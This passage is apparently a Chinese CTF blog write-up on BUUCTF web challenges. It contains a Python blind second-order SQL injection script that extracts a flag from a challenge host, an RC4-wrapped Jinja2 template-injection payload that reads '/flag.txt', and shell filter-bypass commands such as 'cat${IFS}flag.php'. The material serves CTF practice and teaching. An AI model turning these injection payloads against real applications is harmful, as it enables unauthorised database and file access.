        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        database += chr(int(username))
        print(database)
    return database
def select_flag():
    flag = ""
    for i in range(100):
        data_register = {
            "email": "%d@qqq.com" % (i),
            "username": f"0'+ascii(substr((select * from flag) from {i+1} for 1))+'0",
            "password": "%d" % (i)
        }
        register = requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/register.php",
                                 data=data_register)
        data_login = {
            "email": "%d@qqq.com" % (i),
            "password": "%d" % (i)
        }
        login = requests.post(url="http://06f5d2d8-3bb1-44bf-b189-e04c06bd9f60.node5.buuoj.cn:81/login.php",
                              data=data_login)
        html = login.text
        soup = BeautifulSoup(html, 'html.parser')
        getUsername = soup.find_all('span')[0]
        username = getUsername.text
        o = int(username)
        if o == 0:
            break
        flag += chr(int(username))
        print(flag)
 
 
print(select_database())
print(select_flag())


脚本取自

[CISCN2019 华东南赛区]Double Secret

RC4加密脚本

robots.txt

没东西,访问secret

怎么感觉做过

整理一下

这里RC4加密的密钥就是HereIsTreasure

import base64
from urllib.parse import quote
 
# 初始化 S 盒
def initialize_s_box(key):
    s_box = list(range(256))
    j = 0
    key_length = len(key)
    for i in range(256):
        j = (j + s_box[i] + ord(key[i % key_length])) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
    return s_box
 
# 执行 RC4 加密操作
def perform_rc4_encryption(plaintext, s_box):
    result = []
    i = j = 0
    for char in plaintext:
        i = (i + 1) % 256
        j = (j + s_box[i]) % 256
        s_box[i], s_box[j] = s_box[j], s_box[i]
        t = (s_box[i] + s_box[j]) % 256
        k = s_box[t]
        encrypted_char = chr(ord(char) ^ k)
        result.append(encrypted_char)
    ciphertext = ''.join(result)
    print(f"加密后的字符串是:{quote(ciphertext)}")
    return base64.b64encode(ciphertext.encode('utf-8')).decode('utf-8')
 
# RC4 加密主函数
def rc4_main(key="init_key", message="init_message"):
    s_box = initialize_s_box(key)
    encrypted_result = perform_rc4_encryption(message, s_box)
    return encrypted_result
 
# 调用主函数进行加密
key = "HereIsTreasure"
message = "{{''.__class__.__mro__.__getitem__(2).__subclasses__().pop(40)('/flag.txt').read()}}"
print(rc4_main(key, message))

### BUUCTF Web 类型练习 #### 网站源码备份文件泄露和PHP反序列化 在BUUCTF平台上,有一道涉及网站源码备份文件泄露和PHP反序列化的目。这类目通常要求参赛者找到并利用服务器上存在的`.bak`或其他形式的备份文件来获取敏感信息或代码逻辑[^1]。 ```php // 示例:查找并读取备份文件 <?php $file = "backup_file.bak"; if (file_exists($file)) { echo file_get_contents($file); } ?> ``` #### Twig模板注入漏洞 另一个常见的Web安全是模板引擎中的变量插值功能被滥用所引发的安全隐患。具体来说,在某些情况下,攻击者可以通过向HTTP请求中添加特定头部(如`X-Forwarded-For`),使得服务端渲染页面时执行恶意代码片段。例如: ```twig {{7*8}} ``` 这段代码会在页面加载过程中计算乘法表达式的值,并将其显示出来。如果应用程序允许用户输入影响此上下文的数据,则可能存在严重的安全隐患[^2]。 #### 文件包含漏洞 通过巧妙地构造命令字符串绕过过滤机制从而实现任意文件读取也是CTF竞赛中经常遇到的一种技巧。比如下面的例子展示了如何使用不同的方法去尝试访问名为`flag.php`的目标文件内容[^3]: ```bash # 方法一 cat<flag.php # 方法二 cat${IFS}flag.php # 方法三 cat$IFS$9flag.php ``` 这些技术不仅考验选手们对Linux Shell语法的理解程度,同时也考察他们能否灵活运用各种环境变量以及特殊字符组合达成目的。 #### 零基础入门学习路线 对于完全没有接触过网络安全领域的新手而言,可以从以下几个方面入手逐步建立起扎实的知识体系: - **基础知识积累**:掌握计算机网络原理、操作系统基本概念等必备理论; - **工具技能培养**:熟悉常用的渗透测试框架与自动化脚本编写能力; - **实践操作经验**:积极参与在线平台提供的各类挑战赛项目,不断巩固所学知识点; 综上所述,BUUCTF提供了一个很好的机会让爱好者们在一个相对友好且可控环境中锻炼自己的技术水平。无论是初学者还是有一定经验的人都能找到适合自己水平层次的任务来进行针对性训练[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值